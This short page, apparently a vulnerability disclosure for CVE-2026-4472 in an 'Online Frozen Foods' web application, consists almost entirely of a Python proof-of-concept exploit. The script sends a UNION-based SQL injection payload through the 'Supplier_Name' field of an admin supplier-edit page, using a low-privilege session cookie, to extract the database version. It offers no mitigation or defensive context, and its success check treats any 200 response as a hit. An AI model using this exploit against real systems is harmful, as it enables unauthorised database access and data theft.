CVE-2026-4472: Online Frozen Foods系统SQL注入漏洞

import requests # Target URL of the vulnerable endpoint target_url = "http://target-host.com/admin/admin_edit_supplier.php" # Attacker needs a valid session (Low Privilege Required per CVSS:PR:L) cookies = { "PHPSESSID": "valid_low_privilege_session_id" } # Malicious payload to test SQL Injection in 'Supplier_Name' parameter # Example: Attempting to extract database version using UNION-based injection payload = "test' UNION SELECT 1, version(), 3, 4, 5, 6-- -" # Data to be sent in the POST request post_data = { "Supplier_Name": payload, "id": "1" # Assuming an ID is required to identify the supplier to edit } try: response = requests.post(target_url, data=post_data, cookies=cookies) # Check if the response indicates a potential SQL injection (e.g., DB version in output) if "mysql" in response.text.lower() or response.status_code == 200: print("[+] Potential SQL Injection vulnerability triggered.") print("[+] Response snippet:") print(response.text[:500]) else: print("[-] Exploit attempt did not yield expected immediate results.") except Exception as e: print(f"[!] An error occurred: {e}")